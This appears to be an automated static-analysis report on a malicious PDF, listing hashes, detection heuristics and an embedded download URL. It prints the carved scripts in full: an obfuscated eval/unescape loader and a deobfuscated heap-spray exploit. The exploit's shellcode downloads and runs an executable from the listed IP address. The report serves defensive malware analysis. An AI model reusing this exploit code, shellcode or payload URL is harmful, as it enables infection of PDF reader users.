Malicious PDF — malware analysis report

Static analysis result for SHA-256 2eaa6fdaa81e6cb5…

MALICIOUS

PDF

2.2 KB First seen: 2026-05-10
MD5: 6c416d488e699f22ddad789cc1832a34 SHA-1: 45903f47b90273648aa25ada09a27151201ee172 SHA-256: 2eaa6fdaa81e6cb579e23abcdbc7bd0d42844d35bac93cba6f1102165f3be3ac
238 Risk Score

Malware Insights

MITRE ATT&CK
T1027 Obfuscated Files or Information T1140 Deobfuscate/Decode Files or Information

The PDF file contains embedded JavaScript, which is heavily obfuscated using eval() and unescape() functions, along with String.fromCharCode. This obfuscated JavaScript is designed to download and execute a secondary payload. The presence of these obfuscation techniques and the execution of JavaScript within a PDF strongly indicate a malicious intent, likely for delivering malware. No specific family could be identified due to the generic nature of the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://82.146.44.90/d/l.php?i=5 Referenced by PDF JavaScript
🗂 Part of campaign: 82.146.44.90 3 samples

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x7D6 478 bytes
SHA-256: e7d1232c16a6e584ebcad6ed89ed39659361935894de0b1df6aee2e4fe16ce04
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 2816 bytes
SHA-256: c7a397f2ea3a5375b7f684bb5165efbd78fe9a3b5115f9b8560e36f0fc31da50
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload = unescape("%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u382f%u2e32%u3431%u2e36%u3434%u392e%u2f30%u2f64%u2e6c%u6870%u3f70%u3d69%u0035%u9000");heapblock = nop + payload;bigblock = unescape("%u0A0A%u0A0A");headersize = 20;spray = headersize + heapblock.length;while (bigblock.length < spray){bigblock += bigblock;}fillblock = bigblock.substring(0, spray);block = bigblock.substring(0, bigblock.length - spray);while (block.length + spray < 0x40000){block = block + block + fillblock;}mem = new Array();for (i = 0; i < 1400; i ++ ){mem[i] = block + heapblock;}var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f", num);